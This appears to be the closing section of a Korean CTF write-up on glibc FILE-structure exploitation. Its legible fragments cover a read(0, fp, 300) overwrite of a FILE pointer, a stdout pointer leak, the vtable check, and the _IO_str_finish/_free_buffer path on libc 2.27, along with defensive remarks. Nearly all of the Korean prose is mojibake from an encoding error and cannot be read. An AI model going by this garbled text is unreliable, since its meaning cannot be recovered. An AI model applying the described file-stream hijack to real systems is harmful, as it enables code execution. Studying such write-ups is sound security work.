read(0, fp, 300) ์ด๋ผ๋ ํ ์ค์ "300๋ฐ์ดํธ ์ค๋ฒํ๋ก์ฐ"๋ก๋ง ๋ณด๋ฉด ํฌ๊ธฐ ๋ฌธ์ ๋ก ๋ณด์ธ๋ค.
์ค์ ๋ก๋ libc ๋ด๋ถ ์ํ ๊ธฐ๊ณ๋ฅผ ํต์งธ๋ก ๋๊ฒจ์ค ๊ฒ์ด๋ค.
๋ฐฉ์ด ์ชฝ์์ ๋ณผ ๊ฒ
FILE * ๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด๋ถ ๊ตฌ์กฐ์ฒด๋ฅผ readยทmemcpy ์ ๋ชฉ์ ์ง๋ก ์ฐ์ง ์๋ ๊ฒ ๋จผ์ ๋ค.
์ฌ์ฉ์ ๋ฐ์ดํฐ๋ฅผ ๋ด๋ ๋ฒํผ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํธ๋ค์ ์ ์ด์ ๋ค๋ฅธ ๋ณ์์ฌ์ผ ํ๋ค.
read(0, fp, 300) ์ฒ๋ผ ๋์์ด ํฌ์ธํฐ ๋ณ์์ธ์ง ๊ทธ ๋์ ๊ฐ์ฒด์ธ์ง ํท๊ฐ๋ฆฌ๋ ์ฝ๋๋
์ ์ ๋ถ์๊ธฐ์์๋ ์ ์ ๊ฑธ๋ฆฐ๋ค. ํฌ๊ธฐ ๊ณ์ฐ์ด ํ๋ฆฐ ๊ฒ ์๋๋ผ ๋์ ์์ฒด๊ฐ ํ๋ฆฐ ๊ฒฝ์ฐ๋ผ
sizeof ๊ธฐ๋ฐ ๊ฒ์ฌ๊ฐ ํตํ์ง ์๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ด ๋ฌธ์ ์ leak ์ printf("stdout: %p\n", stdout) ์ด์๋ค.
์ฐ์ต ๋ฌธ์ ๋ผ ์ผ๋ถ๋ฌ ์ค ๊ฒ์ด์ง๋ง, ์ค๋ฌด์์ ๋๋ฒ๊ทธ ๋ก๊ทธ์ ํฌ์ธํฐ๋ฅผ ์ฐ๋ ์ต๊ด๋ ๊ฒฐ๊ตญ ๊ฐ์ ๊ฒ์ด๋ค.
libc ์ฃผ์ ํ ๊ฐ๋ฉด ๊ทธ ์์ ๋ชจ๋ ์ฌ๋ณผ๊ณผ ๋ฌธ์์ด์ด ๋ธ๋ ค ๋์จ๋ค.
๋จ๋ ๊ฒ
vtable ๋ฒ์ ๊ฒ์ฌ ์์ฒด๋ 2.24 ์ดํ๋ก ๊ณ์ ์ด์ ์๋ค.
๊ทธ๋ฌ๋ ์ด ํ์ด๊ฐ ์ฑ๋ฆฝํ๋ ์กฐ๊ฑด์ ๊ฒ์ฌ์ ์ ๋ฌด๊ฐ ์๋๋ผ _IO_str_finish ๊ฐ
์์ง _free_buffer ๋ฅผ ํจ์ ํฌ์ธํฐ๋ก ๋ถ๋ฅด๋๊ฐ๋ค.
๊ทธ ํธ์ถ์ด ๋จ์ ์๋ ๋ฒ์ ์์๋ง ์ด ๊ฒฝ๋ก๊ฐ ์ด๋ฆฐ๋ค.
์ด ๊ธ์ ์ซ์์ ๊ฒฝ๋ก๋ ์ ๋ถ 2.27-3ubuntu1 ์์ ํ์ธํ ๊ฒ์ด๋ค.
libc ๊ฐ ๋ฐ๋๋ฉด ์คํ์
๋ง ๋ค์ ๊ตฌํ ๊ฒ ์๋๋ผ _IO_str_finish ๋ฅผ ๋ค์ ๋ฏ์ด๋ด์ผ ํ๋ค.
๋ฒ์ ์ ์ ๋ณด๊ณ ์ต์ค๋ฅผ ์ฎ๊ธฐ๋ฉด ์ ์ ๋๋์ง๋ ๋ชจ๋ฅธ ์ฑ Fatal error ๋ง ๋ณด๊ฒ ๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ